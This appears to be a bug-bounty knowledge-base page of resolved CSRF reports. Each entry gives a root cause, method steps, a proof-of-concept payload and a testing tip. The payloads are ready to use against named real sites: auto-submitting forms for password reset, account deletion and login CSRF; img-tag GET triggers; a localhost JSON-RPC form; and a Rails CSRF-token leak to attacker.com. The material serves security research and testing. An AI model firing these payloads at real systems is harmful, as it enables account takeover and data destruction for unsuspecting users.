<input type="hidden" name="user[password]" value="attackerpass"/>
<input type="hidden" name="user[remember_me]" value="1"/>
</form>
<script>document.forms[0].submit()</script>
Insight — Don't assume a token in the form means CSRF is enforced -- delete it and see if the request still works. Login CSRF is real impact: victims add payment info/actions into the attacker's account, and their IP/activity is logged there. Test presence AND validation of every token.
Real-world example
State-changing delete via GET with no CSRF token
◆ Low
Specimen #709537 · acronis · none · 82 votes · resolved
Program acronisSurface web
Root cause
A destructive action (delete contact fields) is exposed over GET with no anti-CSRF token, so a cross-site request (image/link/auto-submitting form) performs it in the victim's session.
Method
- Log in and locate the delete action; capture the request
- Confirm it is a GET with no CSRF token or Origin/Referer check
- Host an auto-triggering page (form or <img src>) with the delete URL; victim visiting it loses the data
<form action="https://academy.acronis.com/account/delete-contact/contact_id/<id>">
<input type=submit>
</form>
<!-- GET, no token: even <img src=".../delete-contact/contact_id/<id>"> works -->
Insight — Still worth checking on every target: destructive/state-changing actions served over GET are auto-exploitable via <img>/<link> with zero user interaction. Test each mutating endpoint for method (should be POST) and a validated CSRF token.
Real-world example
CSRF token not bound to session/user + double-submit accepts cookie value
◆ Low
Specimen #2513333 · mozilla · USD 500 · 63 votes · resolved
Program mozillaSurface apiTag cors
Root cause
Two flaws: (1) the csrfmiddlewaretoken is only compared to the csrftoken cookie (double-submit), so setting the body token equal to the cookie value passes; (2) the csrftoken is global, not tied to a session/user, so a token harvested from any account validates requests for any other account.
Method
- Log in as user1, save the csrftoken cookie value
- As user2, take a state-changing request (e.g. DELETE /api/tokens/delete/<id>) and set both csrftoken and csrfmiddlewaretoken to user1's value -> succeeds
- Build a CSRF page that supplies a known-valid (any-user) csrftoken as both cookie-mirrored and X-CSRF-Token, enumerating the numeric id
POST /api/tokens/delete/<index>
Cookie: csrftoken=<any_valid_token>
csrfmiddlewaretoken=<same_any_valid_token>
X-CSRF-Token: <same_any_valid_token>
Insight — Two must-run CSRF tests: (a) does the token change when you swap it for the value of the csrftoken cookie (broken double-submit)? and (b) is a token from a DIFFERENT user/session accepted (token not bound to session)? Either makes CSRF trivially exploitable. Note wide CORS (Access-Control-Allow-Origin:*) compounds it.
Real-world example
Mobile deeplink CSRF via custom URL scheme
◆ Low
Specimen #805073 · x · 2940 · 58 votes · resolved
Program xSurface mobile-ios
Root cause
A mobile app registers a custom URL scheme handler that performs a state-changing action (follow) with no confirmation or CSRF protection; any web page or QR code can invoke it.
Method
- Enumerate the app's custom URL scheme handlers (Info.plist / intent filters)
- Find a scheme path that mutates state
- Deliver the scheme URI via <a href>, QR code, or redirect
pscp://user/<any-user-id>/follow
<a href="pscp://user/<any-user-id>/follow">CSRF DEMO</a>
Insight — Treat custom URL schemes (myapp://) as unauthenticated CSRF sinks. A single href or QR code can trigger deeplink actions on mobile with no browser-style CSRF token.
Real-world example
Login CSRF forcing victim into attacker's account
◆ Low
Specimen #1124540 · liberapay · none · 45 votes · resolved
Program liberapaySurface webTag account-takeover
Root cause
The login/sign-in flow has no CSRF protection (and reusable session-confirmation tokens), so an attacker can auto-submit a login form that signs the victim into the attacker's account. The victim then enters sensitive data (payment info) into the attacker's account.
Method
- As attacker, initiate login to obtain a confirmation link containing id/key/token
- Embed those values in a cross-site auto-submitting form
- Deliver to victim; on click victim is silently logged into attacker's account
- Victim adds payment/personal info visible to the attacker
<form action="https://liberapay.com/about/">
<input type="hidden" name="log-in.id" value="[ID]" />
<input type="hidden" name="log-in.key" value="[KEY]" />
<input type="hidden" name="log-in.token" value="[TOKEN]" />
<input type="submit" />
</form>
<script>document.forms[0].submit()</script>
Insight — Test login endpoints for CSRF: if there is no per-session anti-CSRF token (or tokens are reusable across IPs), a login-CSRF lets you seat victims in an attacker account and harvest whatever they enter. Mitigations: tie CSRF token to IP/session, warn 'already logged in as X'.
Real-world example
Login CSRF weaponizes stored self-XSS (+SAML open redirect)
◆ Low
Specimen #171398 · security · none · 44 votes · resolved
Program securitySurface webChain logout CSRF -> login CSRF (attacker session) -> storedTag samlTag account-takeover
Root cause
The SAML sign_in flow can be started via GET with no CSRF protection, letting an attacker force-login a victim into an attacker-controlled session (login CSRF); this makes otherwise-unexploitable stored self-XSS reachable, and the email param redirects to external URLs (open redirect).
Method
- Attacker hosts a page that logs the victim out then force-logs-in the attacker account via GET SAML sign_in (login CSRF)
- Victim now operates in the attacker session where a stored self-XSS lives -> it executes for the victim
- Alternatively abuse the email/domain param for open redirect (e.g. hackerone..com typo domains)
<iframe src="ATTACKER_SAML_IDP_URL" style="width:0;height:0;border:0"></iframe>
<script>setTimeout(function(){location.href="https://TARGET/users/saml/sign_in?email=ATTACKER&remember_me=true";},5000);</script>
Insight — Self-XSS is not automatically out of scope: chain it with login CSRF (force the victim into your session) to make it fire in the victim's browser. Also test SSO email/domain params for open redirect and homoglyph/extra-dot domain confusion.
Real-world example
State-changing action via GET link with no CSRF token
◆ Low
Specimen #334253 · security · awarded · 30 votes · resolved
Program securitySurface web
Root cause
A state-changing operation (apply to a program) is triggered by a simple GET request with a query flag and no CSRF token or confirmation step, so merely making the victim open a URL performs the action; if unauthenticated they are login-walled then the action fires post-login.
Method
- Find an action reachable as GET with a flag (?apply=true)
- Host/send the link to a logged-in victim
- Opening it performs the action with no token/confirmation
- (If logged out) action executes after the forced login
https://hackerone.com/hackthedts?apply=true
Insight — Any state change reachable via GET is CSRF-by-design. Grep the app for actions triggered by query flags; require POST + CSRF token + (for sensitive ops) an explicit confirmation.
Real-world example
Logout CSRF via unprotected GET logout endpoint
◆ Low
Specimen #1971589 · weblate · none · 29 votes · resolved
Program weblateSurface web
Root cause
The logout action is reachable by GET with no CSRF token, so a cross-site link/image forces the victim to be logged out.
Method
- Confirm /logout works as a GET (or simple POST) with no token.
- Embed it as a link/auto-loaded resource on an attacker page.
- Victim visiting the page (or an authenticated tab refresh) is logged out.
<a href="https://target/logout/">Click me for bonus pack</a>
<!-- or auto: <img src="https://target/logout/"> -->
Insight — Logout CSRF is low impact alone but a useful building block: it forces re-login and can be chained with login-CSRF/session-donation to seat the victim in an attacker session. Any state change on GET is a CSRF red flag.
Real-world example
CSRF on S3 direct-upload completion (state-changing GET callback)
◆ Low
Specimen #1637761 · stripe (taxjar) · awarded · 26 votes · resolved
Program stripe (taxjar)Surface webTag file-uploadTag cloud-aws
Root cause
A browser-to-S3 direct upload flow completes by hitting an app callback (/csv_imports/upload_complete?bucket=&key=&etag=) that ingests the referenced object with no anti-CSRF token; an attacker who uploads to their own bucket key can forge a GET that imports that data into a victim's account.
Method
- Upload the file yourself and capture the success_action_redirect / upload_complete callback URL (bucket, key, etag).
- Since the callback is a tokenless GET, host a cross-site form/link that fires it while the victim is logged in.
- Victim's account ingests the attacker-controlled object.
<form method="GET" action="https://app.target/csv_imports/upload_complete">
<input name="bucket" value="prod-bucket">
<input name="key" value="uploads/UUID/file.csv">
<input name="etag" value="%22...%22"></form>
Insight — Presigned S3 upload flows split into 'upload to S3' + 'notify app'; the second callback is easy to leave tokenless and is a classic CSRF sink. Audit any *_complete / success_action_redirect handler that mutates account state.
Real-world example
CSRF on forgot-password reset POST -> password change (CVE-2021-21395)
◆ Low
Specimen #1086752 · openmage · none · 24 votes · resolved
Program openmageSurface webChain CSRF -> password change -> account takeoverTag account-takeover
Root cause
The reset-password submission endpoint (customer/account/resetpasswordpost) has no anti-CSRF token; once the victim has loaded a valid reset link (establishing the reset session), a cross-site auto-submit form sets an attacker-known password.
Method
- Victim requests/loads a password reset link (activates reset context).
- Attacker page auto-submits a POST to resetpasswordpost with password+confirmation.
- Password is changed to the attacker's value.
<form action="https://target/customer/account/resetpasswordpost/" method="POST">
<input type="hidden" name="password" value="password123">
<input type="hidden" name="confirmation" value="password123"></form>
<script>document.forms[0].submit()</script>
Insight — Password-reset flows are high-value CSRF targets; the reset-submit step (not just login) needs its own token. Test the whole reset chain, not only the initial request.
Real-world example
Consent-prompt bypass via _NO_PROMPT param (web + deeplink)
◆ Low
Specimen #1085336 · snapchat · $250 · 21 votes · resolved
Program snapchatSurface web
Root cause
A GET 'unlock' endpoint trusted a client-supplied type parameter; changing SNAPCODE to SNAPCODE_NO_PROMPT stripped the user-confirmation prompt, turning a consent action into a zero-interaction CSRF, and the same flaw existed on the Android deeplink.
Method
- Capture the legitimate unlock URL with type=SNAPCODE
- Change type to SNAPCODE_NO_PROMPT
- Deliver the link (web or snapchat:// deeplink) to the victim; lens is force-installed without prompt
https://www.snapchat.com/unlock/?type=SNAPCODE_NO_PROMPT&uuid=6ff5a565fca249a1948b1963ee2881b4&metadata=01
snapchat://unlock/?type=SNAPCODE_NO_PROMPT&uuid=6ff5a565fca249a1948b1963ee2881b4&metadata=01
Insight — Look for parameters that decide whether a confirmation/prompt is shown (_NO_PROMPT, silent=1, confirm=false, force=1); flipping them collapses an intentional user action into CSRF, and mobile deeplinks usually inherit the same server flaw.
Real-world example
CSRF where token/custom-header is sent but never server-validated
◆ Low
Specimen #1010806 · automattic · awarded · 19 votes · resolved
Program automatticSurface web
Root cause
The anti-CSRF mechanism (custom X-tumblr-form-key header) was set client-side but never validated server-side, so a plain cross-site form POST succeeds despite the apparent protection.
Method
- Capture a 'protected' request and note the custom header/token
- Replay it as a simple cross-site HTML form POST omitting the header/token
- Action succeeds -> the defense is decorative
<form action="https://www.tumblr.com/svc/user/filtered_content" method="POST">
<input type="hidden" name="filtered_content" value="pwd777">
</form>
<script>document.forms[0].submit()</script>
Insight — When an app relies on a custom header or a body parameter for CSRF defense, prove the server actually rejects requests missing/altering it — frequently the value is generated client-side and never checked. Seen with an empty session_id body param accepted (#272588, Unikrn raffle purchase -> balance loss) and X-CSRF-Token unverified on a JSON GET endpoint (#1131473, HackerOne email-forwarding test, also enumerable via an id loop).
Real-world example
State-changing action implemented as GET with no token
◆ Low
Specimen #249234 · eternal · USD 50 · 15 votes · resolved
Program eternalSurface webTag oauth
Root cause
A sensitive, integration-backed action (post a tweet through a linked account) is exposed as a token-less GET request, so any cross-site image/link/redirect triggers it.
Method
- Find a state-changing action served over GET (social posting, thumbnail/setting change, account deletion).
- Craft a bare URL with the action parameters; deliver via <img>, link, or auto-redirect.
- Victim's authenticated session performs the action with no CSRF token or Origin check.
https://www.zomato.com/php/post_twitter_authenticate.php?type=posttweet&message=Hello%20Zomato%20Team
Insight — Enumerate GET endpoints that mutate state (especially social/OAuth-integration callbacks and *_authenticate.php shims). GET CSRF needs no form and fires from any embedded resource; guessable object IDs (thumbnail_id, video_id) extend reach.
Real-world example
CSRF protection bypass by removing the token parameter
◆ Low
Specimen #330122 · reverb · awarded · 14 votes · resolved
Program reverbSurface webTag account-takeover
Root cause
The server validates the anti-CSRF token only when present; deleting the token field entirely (rather than forging it) skips validation, so a forged cross-site request succeeds.
Method
- Capture a state-changing request (send/reply message)
- Delete the CSRF token parameter/header completely (do not just blank it)
- Replay cross-site; if it succeeds, validation is presence-conditional
POST /messages/reply
# original body has authenticity_token=...; remove that field entirely and resend
Insight — Standard CSRF test matrix: (1) remove the token, (2) blank it, (3) reuse another user's token, (4) change method GET<->POST, (5) change Content-Type to text/plain, (6) strip the Origin/Referer. Presence-only validation (bypassed by omission) is a common backend flaw.
Real-world example
State-changing action reachable via GET (and method-downgrade of protected POSTs)
◆ Low
Specimen #1403614 · nextcloud · USD 100 · 10 votes · resolved
Program nextcloudSurface webTag account-takeover
Root cause
A sensitive/state-changing operation is exposed over GET with no requesttoken (or the POST is protected but the same handler also answers GET without the check). A single attacker-controlled URL/img/form triggers it cross-site.
Method
- Find state-changing functionality; test whether it responds to GET as well as POST.
- If GET works, no anti-CSRF token is enforced on GET -> host it as an <img>/<form>/auto-nav link.
- Lure the authenticated victim (admin) to the page; the action fires with their cookies.
GET /nextcloud/index.php/core/apps/recommended (visited by an authenticated admin -> recommended apps install with no CSRF token)
Method-downgrade variant (#396338): endpoint that is CSRF-protected on POST is triggered by simply issuing GET to the same path.
Insight — Always probe both HTTP methods on every sink. GET state changes are trivially CSRF-able (img/link, no auto-submit needed) and frameworks often skip CSRF validation on GET. If POST is protected, retry as GET before concluding it is safe.
Real-world example
CSRF against a localhost JSON-RPC daemon (no Origin/Content-Type check)
◆ Low
Specimen #303390 · monero · none · 9 votes · resolved
Program moneroSurface desktopTag account-takeover
Root cause
A local daemon (monerod, port 18081) exposes JSON-RPC without validating Origin or Content-Type, so any web page the user visits can issue cross-origin requests to 127.0.0.1 and invoke wallet/RPC methods.
Method
- Identify a local service listening on a known localhost port with an HTTP/JSON-RPC interface.
- Host a page with an auto-submit HTML form (text/plain) POSTing a JSON-RPC call to http://127.0.0.1:<port>/json_rpc.
- Victim running the daemon visits the page; the RPC executes (e.g. transaction/wallet ops).
<form action="http://127.0.0.1:18081/json_rpc" method="POST" enctype="text/plain">
<input name='{"jsonrpc":"2.0","id":"0","method":"...","params":{} }' value=''>
</form>
<script>document.forms[0].submit()</script>
Insight — Localhost-bound services are reachable from the browser. Any daemon/agent RPC that skips Origin and Content-Type validation is CSRF-able (and often DNS-rebinding-able) from a mere web visit. When testing thick/desktop apps, enumerate listening localhost ports and hit them with a simple text/plain form.
Real-world example
CSRF token not bound to session/user (cross-account token reuse)
◆ Low
Specimen #182487 · gitlab · none · 7 votes · resolved
Program gitlabSurface webTag account-takeover
Root cause
The anti-CSRF authenticity_token is globally valid rather than tied to the current session/user, so a token generated in the attacker's own account is accepted on a state-changing request executed in the victim's session.
Method
- Create account A, capture its account-deletion POST and its authenticity_token
- Build a self-submitting form that sends that same token
- Victim (account B) submits it under their own session cookie; the token from A is accepted and B's account is deleted
POST /users HTTP/1.1
Host: gitlab.com
Content-Type: application/x-www-form-urlencoded
Cookie: _gitlab_session=VICTIM_SESSION
_method=delete&authenticity_token=ATTACKER_ACCOUNT_TOKEN
Insight — Always A/B test CSRF tokens: capture a valid token in your own account and replay it in a second account's request. If it is accepted, the token is not session-bound and every CSRF defense on the site is defeatable with your own always-obtainable token.
Real-world example
Sensitive state changes exposed via GET (no token)
◆ Low
Specimen #223333 · weblate · none · 7 votes · resolved
Program weblateSurface web
Root cause
Security-relevant actions are reachable via idempotent-looking GET URLs with no CSRF token, so any auto-loading resource (img/link/redirect) triggers them in the victim's session.
Method
- Enumerate GET endpoints that mutate state (reset API key, lock/unlock, watch/unwatch)
- Embed the URL in an <img> or auto-navigate the victim to it
- Action executes under the victim's cookies
<img src="https://hosted.weblate.org/accounts/reset-api-key/">
<!-- also: /lock/<proj>/strings/<lang>/ , /unlock/... , /accounts/watch/<proj>/ -->
Insight — State-changing GET is the cheapest CSRF: no form, no token bypass needed, fires from an <img>. Grep the app for GET routes that change data (reset/regenerate/delete/lock/toggle). #229405 shows the sharper variant: the POST version DOES carry a token, but the same action still succeeds over GET - a method-based token bypass. Always retry a protected POST as GET.
Real-world example
Logout CSRF
◆ Low
Specimen #13705 · automattic · none · 4 votes · resolved
Program automatticSurface web
Root cause
The logout endpoint honors cross-site GET requests with no token, letting an attacker forcibly log the victim out (or, with an empty token variant, terminate the session).
Method
- Point an <img> at the logout endpoint
- Victim loading attacker page is logged out
<img src="https://app.simplenote.com/logout">
Insight — Logout CSRF is usually low-impact alone, but it is a useful stepping stone: force logout, then serve a login-CSRF page to bait the victim into an attacker-controlled session (login CSRF), or disrupt/deny access. Always pair-test logout + login CSRF.
Real-world example
Login CSRF (token removable, login still succeeds)
◆ Low
Specimen #21069 · mavenlink · awarded · 4 votes · resolved
Program mavenlinkSurface web
Root cause
The login POST processes successfully even when the authenticity_token/CSRF field is stripped, so an attacker can forge a login and silently authenticate the victim into an attacker-owned account.
Method
- Capture the login POST, remove the authenticity_token parameter, confirm login still works
- Build an auto-submitting form that logs the victim into the ATTACKER's credentials
- Victim now operates inside attacker's account; anything they save (payment info, notes, history) is visible to the attacker
<form action="https://app.mavenlink.com/login" method="POST">
<input type="hidden" name="login[email_address]" value="attacker@evil.com">
<input type="hidden" name="login[password]" value="attackerpass">
</form>
<script>document.forms[0].submit()</script>
Insight — Test login CSRF by deleting the token from the login request; if login still succeeds, forge a login into the ATTACKER's account so the victim's later actions land in an account the attacker controls. Clickjacking the login page (as in #14494) is a weaker sibling.
Real-world example
Static (non-masked) CSRF token -> BREACH extraction
◆ Low
Specimen #71006 · airbnb · none · 4 votes · resolved
Program airbnbSurface web
Root cause
The authenticity/CSRF token is identical across page loads instead of being masked per-request, so a BREACH-style compression side-channel attacker can recover the token and defeat CSRF protection.
Method
- Fetch the same page multiple times and compare the CSRF token value
- If the token is byte-for-byte identical, it is not per-request masked
- Token is then extractable via BREACH (compressed-response guessing over a MITM/adaptive channel)
curl -s 'https://TARGET/page' | grep csrf-token # repeat; identical value across loads == vulnerable
Insight — A CSRF token that never changes per response is a BREACH oracle. Rails 4.2 fixed this by XOR-masking the token with random bytes each render. Quick test: load the page twice, diff the token.
Real-world example
Mobile webview auto-launches app URL schemes from iframe
◆ Low
Specimen #28500 · x · awarded · 4 votes · resolved
Program xSurface mobile-ios
Root cause
The in-app iOS webview auto-invokes external app URL schemes embedded in an iframe, so a page opened from the app can silently trigger a native action (e.g. facetime-audio:// placing a call) that leaks the victim's caller ID / email / phone.
Method
- Host a page containing an iframe whose src is an app URL scheme (facetime-audio://attacker@x)
- Get the victim to open the link inside the app's webview
- The scheme launches automatically, initiating the call and leaking caller-ID info to the attacker
<iframe src="facetime-audio://attacker@binaryfactory.ca"></iframe>
Insight — In-app webviews that follow app URL schemes without user confirmation are a CSRF-like primitive against native handlers: any scheme (tel:, facetime:, sms:, custom app links) can be auto-triggered from an iframe. Test embedded webviews for automatic scheme navigation.
Real-world example
Sensitive state change exposed as tokenless GET
◆ Low
Specimen #10563 · coinbase · USD 100 · 3 votes · resolved
Program coinbaseSurface web
Root cause
A state-changing operation (set account as primary) is implemented as a GET request with no CSRF token, so it fires from a simple <img>/<iframe>/link with no user interaction.
Method
- Find the state-changing operation issued as GET (often the odd one out when siblings are token-protected POSTs)
- Obtain/guess the resource id needed in the path/query
- Embed the URL in an <img> tag on an attacker page
<img src="https://coinbase.com/accounts/ACCOUNT_ID/set_as_primary">
Insight — Audit each app for the one action that is still a GET while its siblings are POST-with-token. GET actions are the cheapest CSRF: no form, no auto-submit, fires from <img>. Also note GET side effects leak into history/proxy logs.
Real-world example
Token present but not enforced on some endpoints (302 oracle)
◆ Low
Specimen #273998 · paragonie · awarded · 3 votes · resolved
Program paragonieSurface web
Root cause
The app validates its CSRF token on most endpoints but a subset (blog comment) never checks it, so removing the token still yields a 302 success instead of the normal validation error.
Method
- On a known-protected action, remove the token and confirm the CSRF-validation-failed error (establish the oracle)
- Replay each other state-changing request with the token removed
- Any endpoint that returns 302/success instead of the error is unprotected
POST /blog/.../comment HTTP/1.1
(remove _CSRF_TOKEN entirely)
author=47&message=csrf&g-recaptcha-response=...
-> HTTP/1.1 302 Found (should have been 'CSRF validation failed')
Insight — Never assume framework-wide CSRF coverage: enforcement is per-handler. Use a protected endpoint's rejection as an oracle, then diff every other endpoint by stripping the token and watching for success vs the validation error. Blank/empty tokens being accepted (#8273, #13583) is the same class.
Real-world example
CSRF + forging obfuscated 'private' IDs from public base64 keys
◆ Low
Specimen #74595 · digitalsellz · none · 3 votes · resolved
Program digitalsellzSurface web
Root cause
The product-status toggle POST has no CSRF token and validates only the numeric core of an obfuscated id; the 'private' id is just base64(prefix#N#suffix) where the surrounding symbols are ignored, so it can be derived from the public url key.
Method
- Take the target's public key from the product URL (e.g. NDgxNQ)
- Base64-decode it -> integer 4815
- Wrap with arbitrary padding (AA#4815#AA) and base64-encode -> forged private id QUEjNDgxNSNBQQ
- POST id=<forged> to /product/status via a tokenless CSRF form
<form action="https://www.digitalsellz.com/product/status" method="POST">
<input type="hidden" name="id" value="QUEjNDgxNSNBQQ">
</form>
Insight — 'Opaque' or 'random-looking' IDs are often just base64 of a guessable integer with decorative padding the server never checks. Decode public identifiers, find the integer core, and re-encode to forge the private id needed for CSRF/IDOR. Reversible encoding != a secret.
Real-world example
Anti-CSRF bypass by smuggling the token action through a redirect param
◆ Low
Specimen #102376 · ok · awarded · 3 votes · resolved
Program okSurface web
Root cause
The app protects actions with an X-XTKN token, but a server-side redirect/continuation parameter (st.rtu) accepts a nested action URL that the backend executes with the user's session, so the state change (delete photo) rides along a benign-looking reshare link without the attacker knowing the token.
Method
- Find a parameter that carries a server-followed continuation/redirect URL (st.rtu)
- URL-encode a nested ActionBus command performing the target action (photos.delete) into that parameter
- Deliver as an innocuous link (reshare/cancel); when the victim triggers it the server performs the action
http://m.ok.ru/dk?st.cmd=friendReshareTopic&st.topicId=...&st.rtu=%2Fdk%3Fbk%3DActionBus%26st.cmd%3DactionBus...%26st.actions%3D%7B%22photos.delete%22%253A%7B%22photoId%22%253A%22PHOTO_ID%22%7D%7D...&tkn=...
Insight — When a CSRF token blocks direct forgery, look for a server-side redirect/continuation param that itself carries an action the backend re-dispatches with the session context. The token guards the outer request while the inner smuggled action executes token-free.
Real-world example
Cross-user logout CSRF via state-changing GET (invalid password-reset link)
◆ Low
Specimen #54610 · slack · awarded · 2 votes · resolved
Program slackSurface webTag account-takeover
Root cause
Accessing an invalid password-reset URL performs a state-changing action (logs the current session out) over a simple GET, so it can be triggered cross-origin with an <img> tag and even affects users who chose 'Keep me signed in'.
Method
- Identify a GET URL that mutates session state (here /reset/<invalid-token> forcibly logs the user out).
- Embed it as <img src=...> on an attacker page.
- When any logged-in team member loads the page, their session is terminated regardless of persistent-login choice.
<img src='https://TEAM.slack.com/reset/youareloggedout'>
Insight — Any side effect wired to a GET (logout, unsubscribe, toggle) is CSRF-able with <img>/<link> and needs no token to fire. When a reset/verification link is accessed by an already-authenticated user, the safe behavior is redirect-to-home, not mutate session. Hunt for GET endpoints that change server state.
Real-world example
PHP type-juggling bypass of CSRF/HMAC token validation (0e magic-hash)
◆ Low
Specimen #86022 · phabricator · awarded · 2 votes · resolved
Program phabricatorSurface webTag account-takeover
Root cause
Security tokens are compared with PHP loose == / != instead of ===. PHP casts numeric-looking strings, so a stored hash of the form 0+[eE]\d+ evaluates to integer 0 and equals a user-supplied token of '0', letting an attacker pass validation with a trivial value.
Method
- Find code comparing a secret/hash to user input with == or != (validateCSRFToken, HMAC signature check, password/reset-token check).
- Submit the token/signature value as "0" (or another magic-hash form).
- Whenever the server's freshly generated hash happens to be of form 0e\d+ (about 1 in 64M for SHA1/MD5), the loose comparison returns true and validation is bypassed.
- Make it practical by triggering repeated hash regeneration (e.g. request many password-reset/token regenerations) until a 0e-form hash is issued.
<?php
$v1 = sha1("AAJd1x3j"); // "00e6811279456694288001763399976992804485"
var_dump($v1 == "0"); // bool(true) -- loose compare bypass
var_dump($v1 === "0"); // bool(false) -- strict compare, fixed
?>
Insight — Grep any PHP target for == / != around hash/token/HMAC comparisons (hash_hmac(...) == $sig, sha1(...) == $token). Try submitting "0" as the token. It's usually 'theoretical' unless the attacker can force hash regeneration (password-reset/CSRF token cycling) -- then it becomes practical. Fix is === / hash_equals(). in_array without the strict flag is vulnerable too.
Real-world example
Framework CSRF-token leak: rails-ujs sends X-CSRF-Token to cross-origin data-remote forms
◆ Low
Specimen #189878 · rails · none · 2 votes · resolved
Program railsSurface webChain remote form to attacker origin -> X-CSRF-Token leaked -&gTag cors
Root cause
rails-ujs attaches the X-CSRF-Token header to remote (data-remote / remote: true) form submissions without checking that the form action is same-origin, so a template pointing a remote form at an attacker host leaks the victim's CSRF token to that host (regression of CVE-2015-1840; fixed as CVE-2020-8167).
Method
- In a Rails app, a remote form whose action is an external URL (form_tag "http://attacker", remote: true) submits via XHR.
- Attacker host answers CORS preflight allowing x-csrf-token.
- On submit, rails-ujs adds the X-CSRF-Token header to the cross-origin XHR, disclosing the token to the attacker.
- Attacker uses the stolen token to forge state-changing requests that pass CSRF validation.
<%= form_tag "http://attacker.com", remote: true do %>
<button type=submit>submit</button>
<% end %>
# attacker.com (sinatra)
options '/*' do
headers['Access-Control-Allow-Origin']='*'
headers['Access-Control-Allow-Methods']='POST'
headers['Access-Control-Allow-Headers']='x-csrf-token'
end
post('/*'){ 'foo' }
Insight — CSRF tokens must never be attached to cross-origin requests. When auditing UJS/AJAX frameworks, check whether the CSRF header is added before or after an origin check on the request target. Any 'remote form to external URL' pattern is a token-exfiltration primitive. Also a reminder to re-test old CVE fixes -- this was a regression of CVE-2015-1840.
Real-world example
OAuth authorize endpoint lacks CSRF protection -> attacker authorizes own app to victim
◆ Info
Specimen #215381 · x · awarded · 74 votes · resolved
Program xSurface webChain CSRF authorize -> attacker app access token -> full acTag oauthTag account-takeover
Root cause
POST /oauthAuthorize has no CSRF token or Origin check, so an attacker can force a logged-in victim to authorize the attacker's registered third-party app, yielding an auth code -> access token with full account API access.
Method
- Register/point to a third-party app (client_id + redirect_uri)
- Serve a page that auto-POSTs to the authorize endpoint in the victim's session
- Attacker's redirect_uri receives the code, exchanges it for an access token, then drives the API (create/publish/delete broadcast, tweet)
POST https://www.periscope.tv/oauthAuthorize HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Cookie: sid=[...]
client_id=ATTACKER_CLIENT_ID&redirect_uri=https%3A%2F%2Fattacker%2Foauth%2Fperiscope
Insight — The OAuth *authorization* (consent) POST is a high-value CSRF target distinct from account-linking: if it lacks a token/Origin check, an attacker silently grants their own app access to victim accounts. Test the consent submission itself, not just the callback. No user interaction is needed when a real third-party client is used.
Real-world example
Cookie-based CSRF token overwrite via GA __utmz + cookie-parser delimiter quirk
◆ Info
Specimen #26647 · django · awarded · 70 votes · resolved
Program djangoSurface webChain cookie injection -> CSRF token control -> CSRFTag account-takeover
Root cause
Google Analytics writes attacker-controlled Referer/path into __utmz; Python/Django's cookie parser treats [ \ ] and commas as delimiters, so a crafted __utmz smuggles a chosen csrftoken cookie, defeating double-submit CSRF protection.
Method
- Find a subdomain of the target running Google Analytics
- Send the victim to attacker path so GA stores '],csrftoken=x' inside __utmz (set for target domain via cookie-attribute abuse)
- Django parses [ \ ] as delimiters, so injected csrftoken=x is honored
- Auto-submit a cross-site form whose csrfmiddlewaretoken=x matches the injected cookie -> CSRF succeeds
Cookie: __utmz=blah]csrftoken=x # Python cookie parser yields csrftoken='x'
<form action="https://TARGET/action" method=POST><input name=csrfmiddlewaretoken value=x></form>
Insight — Double-submit/cookie-based CSRF defenses fall when you can inject cookies. Chase cookie-injection primitives (analytics reflections, subdomain Set-Cookie, parser differentials) to overwrite the CSRF cookie to a known value.
Real-world example
Per-session CSRF/state token leaked in a cross-origin-readable JS file
◆ Info
Specimen #127703 · bumble · awarded · 62 votes · resolved
Program bumbleSurface webChain Token leak (XSSI) -> account-link CSRF -> social loginTag oauthTag account-takeover
Root cause
The account-linking callback is guarded only by a per-session 'rt' token, but that token is embedded in a JavaScript file (chrome-service-worker.js) that an attacker can include cross-origin via <script src> and read from a global variable, defeating the protection and enabling social-account link -> ATO.
Method
- Find the rt/state token reflected somewhere script-includable (here: url_stats var in a served .js)
- Include that JS on the attacker page via <script src> and read the token from the global
- Build the link callback URL with the leaked rt plus the attacker's OAuth code and redirect the victim to it
- Attacker's social account is linked -> login as victim
<script src=https://eu1.badoo.com/worker-scope/chrome-service-worker.js?ws=1></script>
<script>
var csrf=url_stats.split('=')[2];
location='https://eu1.badoo.com/google/verify.phtml?code=<attacker_oauth_code>&rt='+csrf;
</script>
Insight — Hunt for CSRF/state tokens that leak into script-includable responses (JS files, JSONP, CORS-open JSON). Any token readable cross-origin via <script src> (XSSI) nullifies CSRF defense. Grep served .js and API responses for the token value; if it appears outside a strict same-origin fetch, the linking/ATO flow is exploitable.
Real-world example
Missing CSRF token on state-change form (baseline CSRF)
◆ Info
Specimen #334139 · instacart · awarded · 59 votes · resolved
Program instacartSurface webTag account-takeover
Root cause
A state-changing POST endpoint enforces no CSRF token, Origin, or SameSite protection, so a cross-origin auto-submitting form executes the action in the victim's session.
Method
- Capture the state-change request in Burp
- Note absence of any anti-CSRF token/header
- Generate an auto-submitting HTML form to the endpoint
- Victim visits -> action performed
<form action="https://www.instacart.com/v3/subscriptions" method="POST">
<input type="hidden" name="free_trial" value="true">
<input type="hidden" name="promo" value="true">
<input type="hidden" name="term" value="year">
</form>
<script>document.forms[0].submit()</script>
Insight — The 80% case: many endpoints have zero CSRF defense. Always strip tokens and replay cross-origin. Same primitive targets notes (client_id lets you hit other users), preference toggles, zone changes, invite-token generation.
Real-world example
CSRF bypass by trimming the .json path extension
◆ Info
Specimen #95555 · x · awarded · 40 votes · resolved
Program xSurface api
Root cause
Anti-CSRF (authenticity_token in query) is enforced only for the exact path /i/cards/api/v1.json; the framework's relaxed path-extension routing serves the same handler at /i/cards/api/v1 without the check.
Method
- Send the normal request without token -> 403
- Remove the .json extension from the path and resend -> 200, action performed
POST https://twitter.com/i/cards/api/v1?tweet_id=...&card_name=poll2choice_text_only ...
(body JSON, no authenticity_token) -> succeeds
Insight — If posting to /api/entity.json is blocked, try /api/entity (and .xml, trailing slash, %2e, casing). Route-specific CSRF filters frequently miss the extension-less variant.
Real-world example
CSRF protection bypassed by removing the token parameter
◆ Info
Specimen #642643 · kartpay · none · 25 votes · resolved
Program kartpaySurface web
Root cause
The server validates the anti-CSRF _token only when it is present; deleting the _token field from the POST body entirely causes validation to be skipped and the request is processed.
Method
- Intercept a form POST containing _token
- Delete the _token parameter from the body
- Forward the request
- Request succeeds without a valid token
POST /login (token present): _token=...&merchant_id=..&email=..&password=..
POST /login (token removed): merchant_id=..&email=..&password=.. <-- still accepted
Insight — Always test CSRF defenses three ways: (a) remove the token param entirely, (b) send it empty, (c) reuse another session's token. Many frameworks skip validation when the field is absent.
Real-world example
CSRF token not enforced when header+cookie both removed
◆ Info
Specimen #99857 · drchrono · awarded · 16 votes · resolved
Program drchronoSurface webTag account-takeover
Root cause
